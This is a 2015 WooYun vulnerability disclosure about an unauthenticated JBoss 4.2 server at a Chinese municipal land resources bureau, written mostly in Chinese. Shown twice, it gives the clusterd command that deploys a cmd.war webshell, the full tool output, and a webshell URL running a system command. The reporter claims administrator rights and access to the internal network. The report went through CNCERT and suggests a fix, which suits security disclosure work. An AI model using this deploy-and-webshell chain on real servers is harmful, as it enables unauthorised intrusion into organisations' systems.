当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0133524

漏洞标题:淄博市国土资源局JBOSS绕过可内网

相关厂商:淄博市国土资源局

漏洞作者: H.H.H

提交时间:2015-08-14 11:35

修复时间:2015-09-28 10:56

公开时间:2015-09-28 10:56

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-14: 细节已通知厂商并且等待厂商处理中
2015-08-14: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-08-24: 细节向核心白帽子及相关领域专家公开
2015-09-03: 细节向普通白帽子公开
2015-09-13: 细节向实习白帽子公开
2015-09-28: 细节向公众公开

简要描述:

淄博市国土资源局JBOSS绕过可内网

详细说明:

淄博市国土资源局 **.**.**.**/

11.png


root@kali:/home/clusterd# ./clusterd.py -i **.**.**.** -p 9080 -a jboss -v4.2 --deploy ./src/lib/resources/cmd.war --random-agent
clusterd/0.4 - clustered attack toolkit
[Supporting 7 platforms]
[2015-08-11 05:17PM] Started at 2015-08-11 05:17PM
[2015-08-11 05:17PM] Servers' OS hinted at windows
[2015-08-11 05:17PM] Fingerprinting host '**.**.**.**'
[2015-08-11 05:17PM] Server hinted at 'jboss'
[2015-08-11 05:17PM] Checking jboss version 4.2 JBoss JMX Console...
[2015-08-11 05:17PM] Checking jboss version 4.2 JBoss Web Console...
[2015-08-11 05:17PM] Checking jboss version Any JBoss EJB Invoker Servlet...
[2015-08-11 05:17PM] Checking jboss version Any JBoss HTTP Headers (Unreliable)...
[2015-08-11 05:17PM] Checking jboss version Any JBoss JMX Invoker Servlet...
[2015-08-11 05:17PM] Checking jboss version Any JBoss RMI Interface...
[2015-08-11 05:17PM] Checking jboss version Any JBoss Status Page...
[2015-08-11 05:17PM] Matched 5 fingerprints for service jboss
[2015-08-11 05:17PM] JBoss Web Console (version 4.2)
[2015-08-11 05:17PM] JBoss EJB Invoker Servlet (version Any)
[2015-08-11 05:17PM] JBoss HTTP Headers (Unreliable) (version 4.2)
[2015-08-11 05:17PM] JBoss JMX Invoker Servlet (version Any)
[2015-08-11 05:17PM] JBoss Status Page (version Any)
[2015-08-11 05:17PM] Fingerprinting completed.
[2015-08-11 05:17PM] Preparing to deploy /home/clusterd/src/lib/resources/cmd.war...
[2015-08-11 05:17PM] /home/clusterd/src/lib/resources/cmd.war deployed to **.**.**.**
[2015-08-11 05:17PM] Finished at 2015-08-11 05:17PM


借马一用
**.**.**.**:9080/cmd/cmd.jsp?cmd=dir+D%3A%5Cjboss-4.2.3%5Cserver%5Cdefault%5Cdeploy%5Cmanagement\upload5warn.war

12.png


获取webshell

13.png


系统管理员权限,可内网渗透

14.png

漏洞证明:

淄博市国土资源局 **.**.**.**/

11.png


root@kali:/home/clusterd# ./clusterd.py -i **.**.**.** -p 9080 -a jboss -v4.2 --deploy ./src/lib/resources/cmd.war --random-agent
clusterd/0.4 - clustered attack toolkit
[Supporting 7 platforms]
[2015-08-11 05:17PM] Started at 2015-08-11 05:17PM
[2015-08-11 05:17PM] Servers' OS hinted at windows
[2015-08-11 05:17PM] Fingerprinting host '**.**.**.**'
[2015-08-11 05:17PM] Server hinted at 'jboss'
[2015-08-11 05:17PM] Checking jboss version 4.2 JBoss JMX Console...
[2015-08-11 05:17PM] Checking jboss version 4.2 JBoss Web Console...
[2015-08-11 05:17PM] Checking jboss version Any JBoss EJB Invoker Servlet...
[2015-08-11 05:17PM] Checking jboss version Any JBoss HTTP Headers (Unreliable)...
[2015-08-11 05:17PM] Checking jboss version Any JBoss JMX Invoker Servlet...
[2015-08-11 05:17PM] Checking jboss version Any JBoss RMI Interface...
[2015-08-11 05:17PM] Checking jboss version Any JBoss Status Page...
[2015-08-11 05:17PM] Matched 5 fingerprints for service jboss
[2015-08-11 05:17PM] JBoss Web Console (version 4.2)
[2015-08-11 05:17PM] JBoss EJB Invoker Servlet (version Any)
[2015-08-11 05:17PM] JBoss HTTP Headers (Unreliable) (version 4.2)
[2015-08-11 05:17PM] JBoss JMX Invoker Servlet (version Any)
[2015-08-11 05:17PM] JBoss Status Page (version Any)
[2015-08-11 05:17PM] Fingerprinting completed.
[2015-08-11 05:17PM] Preparing to deploy /home/clusterd/src/lib/resources/cmd.war...
[2015-08-11 05:17PM] /home/clusterd/src/lib/resources/cmd.war deployed to **.**.**.**
[2015-08-11 05:17PM] Finished at 2015-08-11 05:17PM


借马一用
**.**.**.**:9080/cmd/cmd.jsp?cmd=dir+D%3A%5Cjboss-4.2.3%5Cserver%5Cdefault%5Cdeploy%5Cmanagement\upload5warn.war

12.png


获取webshell

13.png


系统管理员权限,可内网渗透

14.png

修复方案:

删除HtmlAdaptor组件

版权声明:转载请注明来源 H.H.H@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-08-14 10:54

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给相应分中心分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-08-12 12:16 | Blunber ( 实习白帽子 | Rank:84 漏洞数:13 )

    大牛,你也开始刷JBOSS了??

  2. 2015-08-12 17:39 | H.H.H ( 路人 | Rank:25 漏洞数:7 | 密切关注WEB安全)

    刷刷更健康,呵呵